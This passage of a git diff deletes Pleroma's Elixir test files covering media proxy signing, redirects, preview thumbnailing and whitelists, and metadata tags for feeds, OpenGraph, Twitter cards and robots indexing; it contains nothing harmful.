"Error while cache purge: %ErlangError{original: :enoent}" - - capture_log(fn -> - assert Invalidation.Script.purge( - ["http://example.com/media/example.jpg"], - [] - ) == {:error, "\"not found script path\""} - end) - end -end diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs deleted file mode 100644 index e9b584822..000000000 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ /dev/null @@ -1,342 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do - use Pleroma.Web.ConnCase - - import Mock - - alias Pleroma.Web.MediaProxy - alias Plug.Conn - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - describe "Media Proxy" do - setup do - clear_config([:media_proxy, :enabled], true) - clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") - - [url: MediaProxy.encode_url("https://google.fn/test.png")] - end - - test "it returns 404 when disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - test "it returns 403 for invalid signature", %{conn: conn, url: url} do - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") - %{path: path} = URI.parse(url) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, path) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/hhgfh/eeee") - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/hhgfh/eeee/fff") - end - - test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do - invalid_url = String.replace(url, "test.png", "test-file.png") - response = get(conn, invalid_url) - assert response.status == 302 - assert redirected_to(response) == url - end - - test "it performs ReverseProxy.call with valid signature", %{conn: conn, url: url} do - with_mock Pleroma.ReverseProxy, - call: fn _conn, _url, _opts -> %Conn{status: :success} end do - assert %Conn{status: :success} = get(conn, url) - end - end - - test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} do - MediaProxy.put_in_banned_urls("https://google.fn/test.png") - - with_mock Pleroma.ReverseProxy, - call: fn _conn, _url, _opts -> %Conn{status: :success} end do - assert %Conn{status: 404, resp_body: "Not Found"} = get(conn, url) - end - end - end - - describe "Media Preview Proxy" do - def assert_dependencies_installed do - missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() - - assert missing_dependencies == [], - "Error: missing dependencies (please refer to `docs/installation`): #{ - inspect(missing_dependencies) - }" - end - - setup do - clear_config([:media_proxy, :enabled], true) - clear_config([:media_preview_proxy, :enabled], true) - clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") - - original_url = "https://google.fn/test.png" - - [ - url: MediaProxy.encode_preview_url(original_url), - media_proxy_url: MediaProxy.encode_url(original_url) - ] - end - - test "returns 404 when media proxy is disabled", %{conn: conn} do - clear_config([:media_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/fff") - end - - test "returns 404 when disabled", %{conn: conn} do - clear_config([:media_preview_proxy, :enabled], false) - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/eeeee") - - assert %Conn{ - status: 404, - resp_body: "Not Found" - } = get(conn, "/proxy/preview/hhgfh/fff") - end - - test "it returns 403 for invalid signature", %{conn: conn, url: url} do - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") - %{path: path} = URI.parse(url) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, path) - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/preview/hhgfh/eeee") - - assert %Conn{ - status: 403, - resp_body: "Forbidden" - } = get(conn, "/proxy/preview/hhgfh/eeee/fff") - end - - test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do - invalid_url = String.replace(url, "test.png", "test-file.png") - response = get(conn, invalid_url) - assert response.status == 302 - assert redirected_to(response) == url - end - - test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 500, body: ""} - end) - - response = get(conn, url) - assert response.status == 424 - assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." - end - - test "redirects to media proxy URI on unsupported content type", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} - end) - - response = get(conn, url) - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - # Setting a high :min_content_length to ensure this scenario is not affected by its logic - clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{ - status: 200, - body: "", - headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] - } - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} - end) - - response = get(conn, url <> "?static=true") - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] - assert response.resp_body != "" - end - - test "with GIF image preview requested and no `static` param, redirects to media proxy URI", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "with `static` param and non-GIF image preview requested, " <> - "redirects to media preview proxy URI without `static` param", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - end) - - response = get(conn, url <> "?static=true") - - assert response.status == 302 - assert redirected_to(response) == url - end - - test "with :min_content_length setting not matched by Content-Length header, " <> - "redirects to media proxy URI", - %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - clear_config([:media_preview_proxy, :min_content_length], 100_000) - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{ - status: 200, - body: "", - headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] - } - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - - test "thumbnails PNG images into PNG", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} - end) - - response = get(conn, url) - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/png"] - assert response.resp_body != "" - end - - test "thumbnails JPEG images into JPEG", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - assert_dependencies_installed() - - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} - end) - - response = get(conn, url) - - assert response.status == 200 - assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] - assert response.resp_body != "" - end - - test "redirects to media proxy URI in case of thumbnailing error", %{ - conn: conn, - url: url, - media_proxy_url: media_proxy_url - } do - Tesla.Mock.mock(fn - %{method: "head", url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} - - %{method: :get, url: ^media_proxy_url} -> - %Tesla.Env{status: 200, body: "<html><body>error</body></html>"} - end) - - response = get(conn, url) - - assert response.status == 302 - assert redirected_to(response) == media_proxy_url - end - end -end diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs deleted file mode 100644 index 0e6df826c..000000000 --- a/test/web/media_proxy/media_proxy_test.exs +++ /dev/null @@ -1,234 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxyTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - alias Pleroma.Config - alias Pleroma.Web.Endpoint - alias Pleroma.Web.MediaProxy - - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = MediaProxy.decode_url(sig, base64) - decoded - end - - describe "when enabled" do - setup do: clear_config([:media_proxy, :enabled], true) - - test "ignores invalid url" do - assert MediaProxy.url(nil) == nil - assert MediaProxy.url("") == nil - end - - test "ignores relative url" do - assert MediaProxy.url("/local") == "/local" - assert MediaProxy.url("/") == "/" - end - - test "ignores local url" do - local_url = Endpoint.url() <> "/hello" - local_root = Endpoint.url() - assert MediaProxy.url(local_url) == local_url - assert MediaProxy.url(local_root) == local_root - end - - test "encodes and decodes URL" do - url = "https://pleroma.soykaf.com/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?( - encoded, - Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) - ) - - assert String.ends_with?(encoded, "/logo.png") - - assert decode_result(encoded) == url - end - - test "encodes and decodes URL without a path" do - url = "https://pleroma.soykaf.com" - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - test "encodes and decodes URL without an extension" do - url = "https://pleroma.soykaf.com/path/" - encoded = MediaProxy.url(url) - assert String.ends_with?(encoded, "/path") - assert decode_result(encoded) == url - end - - test "encodes and decodes URL and ignores query params for the path" do - url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" - encoded = MediaProxy.url(url) - assert String.ends_with?(encoded, "/logo.png") - assert decode_result(encoded) == url - end - - test "validates signature" do - encoded = MediaProxy.url("https://pleroma.social") - - clear_config( - [Endpoint, :secret_key_base], - "00000000000000000000000000000000000000000000000" - ) - - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} - end - - def test_verify_request_path_and_url(request_path, url, expected_result) do - assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result - - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{ - params: %{"filename" => Path.basename(request_path)}, - request_path: request_path - }, - url - ) == expected_result - end - - test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> - "parameter, `verify_request_path_and_url/2` returns :ok " do - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{params: %{}, request_path: "/some/path"}, - "https://instance.com/file.jpg" - ) == :ok - - assert MediaProxy.verify_request_path_and_url( - %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, - "https://instance.com/file.jpg" - ) == :ok - end - - test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do - test_verify_request_path_and_url( - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - :ok - ) - - test_verify_request_path_and_url( - # Note: `conn.request_path` returns encoded url - "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", - :ok - ) - - test_verify_request_path_and_url( - "/my%2Flong%2Furl%2F2019%2F07%2FS", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} - ) - end - - test "uses the configured base_url" do - base_url = "https://cache.pleroma.social" - clear_config([:media_proxy, :base_url], base_url) - - url = "https://pleroma.soykaf.com/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, base_url) - end - - # Some sites expect ASCII encoded characters in the URL to be preserved even if - # unnecessary. - # Issues: https://git.pleroma.social/pleroma/pleroma/issues/580 - # https://git.pleroma.social/pleroma/pleroma/issues/1055 - test "preserve ASCII encoding" do - url = - "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - # This includes unsafe/reserved characters which are not interpreted as part of the URL - # and would otherwise have to be ASCII encoded. It is our role to ensure the proxied URL - # is unmodified, so we are testing these characters anyway. - test "preserve non-unicode characters per RFC3986" do - url = - "https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - - test "preserve unicode characters" do - url = "https://ko.wikipedia.org/wiki/위키백과:대문" - - encoded = MediaProxy.url(url) - assert decode_result(encoded) == url - end - end - - describe "when disabled" do - setup do: clear_config([:media_proxy, :enabled], false) - - test "does not encode remote urls" do - assert MediaProxy.url("https://google.fr") == "https://google.fr" - end - end - - describe "whitelist" do - setup do: clear_config([:media_proxy, :enabled], true) - - test "mediaproxy whitelist" do - clear_config([:media_proxy, :whitelist], ["https://google.com", "https://feld.me"]) - url = "https://feld.me/foo.png" - - unencoded = MediaProxy.url(url) - assert unencoded == url - end - - # TODO: delete after removing support bare domains for media proxy whitelist - test "mediaproxy whitelist bare domains whitelist (deprecated)" do - clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) - url = "https://feld.me/foo.png" - - unencoded = MediaProxy.url(url) - assert unencoded == url - end - - test "does not change whitelisted urls" do - clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) - clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") - - media_url = "https://mycdn.akamai.com" - - url = "#{media_url}/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, media_url) - end - - test "ensure Pleroma.Upload base_url is always whitelisted" do - media_url = "https://media.pleroma.social" - clear_config([Pleroma.Upload, :base_url], media_url) - - url = "#{media_url}/static/logo.png" - encoded = MediaProxy.url(url) - - assert String.starts_with?(encoded, media_url) - end - end -end diff --git a/test/web/metadata/feed_test.exs b/test/web/metadata/feed_test.exs deleted file mode 100644 index e6e5cc5ed..000000000 --- a/test/web/metadata/feed_test.exs +++ /dev/null @@ -1,18 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.FeedTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.Feed - - test "it renders a link to user's atom feed" do - user = insert(:user, nickname: "lain") - - assert Feed.build_tags(%{user: user}) == [ - {:link, - [rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []} - ] - end -end diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs deleted file mode 100644 index ca6cbe67f..000000000 --- a/test/web/metadata/metadata_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MetadataTest do - use Pleroma.DataCase, async: true - - import Pleroma.Factory - - describe "restrict indexing remote users" do - test "for remote user" do - user = insert(:user, local: false) - - assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - - test "for local user" do - user = insert(:user, discoverable: false) - - assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - - test "for local user set to discoverable" do - user = insert(:user, discoverable: true) - - refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ - "<meta content=\"noindex, noarchive\" name=\"robots\">" - end - end - - describe "no metadata for private instances" do - test "for local user set to discoverable" do - clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) - - assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) - end - - test "search exclusion metadata is included" do - clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) - - assert ~s(<meta content="noindex, noarchive" name="robots">) == - Pleroma.Web.Metadata.build_tags(%{user: user}) - end - end -end diff --git a/test/web/metadata/opengraph_test.exs b/test/web/metadata/opengraph_test.exs deleted file mode 100644 index 218540e6c..000000000 --- a/test/web/metadata/opengraph_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.OpenGraphTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.OpenGraph - - setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) - - test "it renders all supported types of attachments and skips unknown types" do - user = insert(:user) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"} - ] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - }, - %{ - "url" => [ - %{ - "mediaType" => "audio/basic", - "href" => "http://www.gnu.org/music/free-software-song.au" - } - ] - } - ] - } - }) - - result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) - - assert Enum.all?( - [ - {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []}, - {:meta, - [property: "og:audio", content: "http://www.gnu.org/music/free-software-song.au"], - []}, - {:meta, [property: "og:video", content: "https://pleroma.gov/about/juche.webm"], - []} - ], - fn element -> element in result end - ) - end - - test "it does not render attachments if post is nsfw" do - Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) - user = insert(:user, avatar: %{"url" => [%{"href" => "https://pleroma.gov/tenshi.png"}]}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "id" => "https://pleroma.gov/objects/whatever", - "content" => "#cuteposting #nsfw #hambaga", - "tag" => ["cuteposting", "nsfw", "hambaga"], - "sensitive" => true, - "attachment" => [ - %{ - "url" => [ - %{"mediaType" => "image/png", "href" => "https://misskey.microsoft/corndog.png"} - ] - } - ] - } - }) - - result = OpenGraph.build_tags(%{object: note, url: note.data["id"], user: user}) - - assert {:meta, [property: "og:image", content: "https://pleroma.gov/tenshi.png"], []} in result - - refute {:meta, [property: "og:image", content: "https://misskey.microsoft/corndog.png"], []} in result - end -end diff --git a/test/web/metadata/player_view_test.exs b/test/web/metadata/player_view_test.exs deleted file mode 100644 index e6c990242..000000000 --- a/test/web/metadata/player_view_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.PlayerViewTest do - use Pleroma.DataCase - - alias Pleroma.Web.Metadata.PlayerView - - test "it renders audio tag" do - res = - PlayerView.render( - "player.html", - %{"mediaType" => "audio", "href" => "test-href"} - ) - |> Phoenix.HTML.safe_to_string() - - assert res == - "<audio controls><source src=\"test-href\" type=\"audio\">Your browser does not support audio playback.</audio>" - end - - test "it renders videos tag" do - res = - PlayerView.render( - "player.html", - %{"mediaType" => "video", "href" => "test-href"} - ) - |> Phoenix.HTML.safe_to_string() - - assert res == - "<video controls loop><source src=\"test-href\" type=\"video\">Your browser does not support video playback.</video>" - end -end diff --git a/test/web/metadata/rel_me_test.exs b/test/web/metadata/rel_me_test.exs deleted file mode 100644 index 2293d6e13..000000000 --- a/test/web/metadata/rel_me_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RelMeTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Providers.RelMe - - test "it renders all links with rel='me' from user bio" do - bio = - ~s(<a href="https://some-link.com">https://some-link.com</a> <a rel="me" href="https://another-link.com">https://another-link.com</a> <link href="http://some.com"> <link rel="me" href="http://some3.com">) - - user = insert(:user, %{bio: bio}) - - assert RelMe.build_tags(%{user: user}) == [ - {:link, [rel: "me", href: "http://some3.com"], []}, - {:link, [rel: "me", href: "https://another-link.com"], []} - ] - end -end diff --git a/test/web/metadata/restrict_indexing_test.exs b/test/web/metadata/restrict_indexing_test.exs deleted file mode 100644 index 6b3a65372..000000000 --- a/test/web/metadata/restrict_indexing_test.exs +++ /dev/null @@ -1,27 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.RestrictIndexingTest do - use ExUnit.Case, async: true - - describe "build_tags/1" do - test "for remote user" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: false} - }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] - end - - test "for local user" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true, discoverable: true} - }) == [] - end - - test "for local user when discoverable is false" do - assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true, discoverable: false} - }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] - end - end -end diff --git a/test/web/metadata/twitter_card_test.exs b/test/web/metadata/twitter_card_test.exs deleted file mode 100644 index 10931b5ba..000000000 --- a/test/web/metadata/twitter_card_test.exs +++ /dev/null @@ -1,150 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - alias Pleroma.Web.Metadata.Providers.TwitterCard - alias Pleroma.Web.Metadata.Utils - alias Pleroma.Web.Router - - setup do: clear_config([Pleroma.Web.Metadata, :unfurl_nsfw]) - - test "it renders twitter card for user info" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - avatar_url = Utils.attachment_url(User.avatar_url(user)) - res = TwitterCard.build_tags(%{user: user}) - - assert res == [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "born 19 March 1994"], []}, - {:meta, [property: "twitter:image", content: avatar_url], []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] - end - - test "it uses summary twittercard if post has no attachment" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell" - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], - []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] == result - end - - test "it renders avatar not attachment if post is nsfw and unfurl_nsfw is disabled" do - Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false) - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "sensitive" => true, - "attachment" => [ - %{ - "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - } - ] - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"], - []}, - {:meta, [property: "twitter:card", content: "summary"], []} - ] == result - end - - test "it renders supported types of attachments and skips unknown types" do - user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994") - {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "tag" => [], - "id" => "https://pleroma.gov/objects/whatever", - "content" => "pleroma in a nutshell", - "attachment" => [ - %{ - "url" => [%{"mediaType" => "image/png", "href" => "https://pleroma.gov/tenshi.png"}] - }, - %{ - "url" => [ - %{ - "mediaType" => "application/octet-stream", - "href" => "https://pleroma.gov/fqa/badapple.sfc" - } - ] - }, - %{ - "url" => [ - %{"mediaType" => "video/webm", "href" => "https://pleroma.gov/about/juche.webm"} - ] - } - ] - } - }) - - result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id}) - - assert [ - {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []}, - {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []}, - {:meta, [property: "twitter:card", content: "summary_large_image"], []}, - {:meta, [property: "twitter:player", content: "https://pleroma.gov/tenshi.png"], []}, - {:meta, [property: "twitter:card", content: "player"], []}, - {:meta, - [ - property: "twitter:player", - content: Router.Helpers.o_status_url(Endpoint, :notice_player, activity.id) - ], []}, - {:meta, [property: "twitter:player:width", content: "480"], []}, - {:meta, [property: "twitter:player:height", content: "480"], []} - ] == result - end -end diff --git a/test/web/metadata/utils_test.exs b/test/web/metadata/utils_test.exs deleted file mode 100644 index 8183256d8..000000000 --- a/test/web/metadata/utils_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.UtilsTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Metadata.Utils - - describe "scrub_html_and_truncate/1" do - test "it returns text without encode HTML" do - user = insert(:user) - - note = - insert(:note, %{ - data: %{ - "actor" => user.ap_id, - "id" => "https://pleroma.gov/objects/whatever", - "content" => 